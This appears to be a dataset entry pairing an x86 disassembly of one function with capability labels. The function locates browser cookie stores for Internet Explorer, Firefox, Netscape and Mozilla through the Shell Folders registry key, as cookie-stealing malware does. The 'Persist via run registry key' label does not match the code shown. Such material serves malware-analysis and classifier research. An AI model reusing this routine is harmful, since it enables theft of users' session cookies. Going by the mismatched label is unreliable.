Function at 0x403140
Capabilities:
Persist via run registry key
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416e7b
mov eax, dword fs:[0]
push eax
mov eax, 0x2468
call fcn.00409490
mov eax, dword [0x41e024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
xor bl, bl
push 0x80000001
lea ecx, [ebp - 0x246c]
mov dword [ebp - 0x2474], eax
mov byte [ebp - 0x246d], bl
call fcn.004037a0
lea ecx, [ebp - 0x246c]
mov dword [ebp - 4], 0
call fcn.00403760
mov edi, dword [ebp + 0xc]
test eax, eax
jne 0x403623
push 0xc7
lea ecx, [ebp - 0x29b]
push 0
push ecx
mov byte [ebp - 0x29c], bl
call fcn.004094c0
add esp, 0xc
push 0xc8
lea edx, [ebp - 0x29c]
push edx
push str.Cookies
lea ecx, [ebp - 0x246c]
call fcn.004036f0
test eax, eax
jne 0x4031f3
mov bl, 1
push 0xc7
lea eax, [ebp - 0x363]
push 0
push eax
mov byte [ebp - 0x364], 0
call fcn.004094c0
add esp, 0xc
push 0xc8
lea ecx, [ebp - 0x364]
push ecx
push str.AppData
lea ecx, [ebp - 0x246c]
call fcn.004036f0
test eax, eax
jne 0x403237
mov byte [ebp - 0x246d], 1
lea ecx, [ebp - 0x246c]
call fcn.004036b0
test bl, bl
je 0x403366
push 0xc7
lea edx, [ebp - 0xd7]
push 0
push edx
mov byte [ebp - 0xd8], 0
call fcn.004094c0
push 0xc7
lea eax, [ebp - 0x1a3]
push 0
push eax
mov byte [ebp - 0x1a4], 0
call fcn.004094c0
add esp, 0x18
xor eax, eax
jmp 0x403290
mov cl, byte [ebp + eax - 0x29c]
mov byte [ebp + eax - 0x1a4], cl
inc eax
test cl, cl
jne 0x403290
push str..txt
push edi
lea ecx, [ebp - 0x1a4]
push ecx
lea edx, [ebp - 0xd8]
push edx
call fcn.004029a0
mov esi, eax
add esp, 0x10
cmp esi, edi
jne 0x4032f6
push str.Found_IE_cookie
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, dword [ebp - 0x2474]
lea eax, [ebp - 0xd8]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4032e0
mov dword [ebp - 4], 0xffffffff
jmp 0x403682
lea eax, [ebp - 0x29c]
or ebx, 0xffffffff
add eax, ebx
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x403301
mov edx, dword [str.low]
mov cl, byte [0x417b14]
mov dword [eax], edx
push str..txt
push edi
lea edx, [ebp - 0x29c]
mov byte [eax + 4], cl
push edx
lea eax, [ebp - 0xd8]
push eax
call fcn.004029a0
mov esi, eax
add esp, 0x10
cmp esi, edi
jne 0x403369
push str.Found_Vista_IE7_cookie
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, dword [ebp - 0x2474]
lea eax, [ebp - 0xd8]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403357
jmp 0x40367f
or ebx, 0xffffffff
cmp byte [ebp - 0x246d], 0
je 0x403626
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xf9
lea edx, [ebp - 0x1d3]
push 0
push edx
mov byte [ebp - 0x1d4], 0
call fcn.004094c0
push 0xc7
lea eax, [ebp - 0xd7]
push 0
push eax
mov byte [ebp - 0xd8], 0
call fcn.004094c0
add esp, 0x18
xor eax, eax
lea ebx, [ebx]
mov cl, byte [ebp + eax - 0x364]
mov byte [ebp + eax - 0x1d4], cl
inc eax
test cl, cl
jne 0x4033c0
lea eax, [ebp - 0x1d4]
add eax, ebx
jmp 0x4033e0
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4033e0
mov ecx, dword [str.MozillaFirefox_]
mov edx, dword [0x417ae8]
mov dword [eax], ecx
mov ecx, dword [0x417aec]
mov dword [eax + 4], edx
mov edx, dword [0x417af0]
mov dword [eax + 8], ecx
mov cx, word [0x417af4]
mov dword [eax + 0xc], edx
push edi
lea edx, [ebp - 0x1d4]
mov word [eax + 0x10], cx
push edx
lea eax, [ebp - 0xd8]
push eax
call fcn.00402e30
mov esi, eax
add esp, 0xc
cmp esi, edi
jne 0x40345f
push str.Found_FF_cookie
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, dword [ebp - 0x2474]
lea eax, [ebp - 0xd8]
mov ecx, eax
sub edx, ecx
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403450
jmp 0x40367f
push 0xf9
lea edx, [ebp - 0x1d3]
push 0
push edx
mov byte [ebp - 0x1d4], 0
call fcn.004094c0
push 0xc7
lea eax, [ebp - 0xd7]
push 0
push eax
mov byte [ebp - 0xd8], 0
call fcn.004094c0
add esp, 0x18
xor eax, eax
jmp 0x4034a0
mov cl, byte [ebp + eax - 0x364]
mov byte [ebp + eax - 0x1d4], cl
inc eax
test cl, cl
jne 0x4034a0
lea eax, [ebp - 0x1d4]
add eax, ebx
jmp 0x4034c0
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4034c0
mov ecx, dword [str.NetscapeNSB_]
mov edx, dword [0x417ac8]
mov dword [eax], ecx
mov ecx, dword [0x417acc]
mov dword [eax + 4], edx
mov dx, word [0x417ad0]
mov dword [eax + 8], ecx
mov cl, byte [0x417ad2]
mov word [eax + 0xc], dx
push edi
lea edx, [ebp - 0x1d4]
mov byte [eax + 0xe], cl
push edx
lea eax, [ebp - 0xd8]
push eax
call fcn.00402e30
mov esi, eax
add esp, 0xc
cmp esi, edi
jne 0x40353f
push str.Found_Netscape_8_cookie
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, dword [ebp - 0x2474]
lea eax, [ebp - 0xd8]
mov ecx, eax
sub edx, ecx
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403530
jmp 0x40367f
push 0xf9
lea edx, [ebp - 0x45f]
push 0
push edx
mov byte [ebp - 0x460], 0
call fcn.004094c0
push 0xc7
lea eax, [ebp - 0xd7]
push 0
push eax
mov byte [ebp - 0xd8], 0
call fcn.004094c0
add esp, 0x18
xor eax, eax
jmp 0x403580
mov cl, byte [ebp + eax - 0x364]
mov byte [ebp + eax - 0x460], cl
inc eax
test cl, cl
jne 0x403580
lea eax, [ebp - 0x460]
add eax, ebx
jmp 0x4035a0
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4035a0
mov ecx, dword [str.Mozilla_registry.dat]
mov edx, dword [0x417a94]
mov dword [eax], ecx
mov ecx, dword [0x417a98]
mov dword [eax + 4], edx
mov edx, dword [0x417a9c]
mov dword [eax + 8], ecx
mov ecx, dword [0x417aa0]
mov dword [eax + 0xc], edx
mov dx, word [0x417aa4]
mov dword [eax + 0x10], ecx
mov word [eax + 0x14], dx
push edi
lea eax, [ebp - 0x460]
push eax
lea ecx, [ebp - 0xd8]
push ecx
call fcn.00402b90
mov esi, eax
add esp, 0xc
cmp esi, edi
jne 0x403626
push str.Found_NS_cookie
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, dword [ebp - 0x2474]
lea eax, [ebp - 0xd8]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403617
jmp 0x40367f
or ebx, 0xffffffff
push 0xc7
lea edx, [ebp - 0xd7]
push 0
push edx
mov byte [ebp - 0xd8], 0
call fcn.004094c0
lea eax, [ebp - 0xd8]
push edi
push eax
call fcn.00402db0
mov esi, eax
add esp, 0x14
cmp esi, edi
jne 0x40367d
push str.Found_IE_cookie_from_user_temp_directory
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, dword [ebp - 0x2474]
lea eax, [ebp - 0xd8]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403671
jmp 0x40367f
xor esi, esi
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x246c]
call fcn.00403810
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409472
mov esp, ebp
pop ebp
ret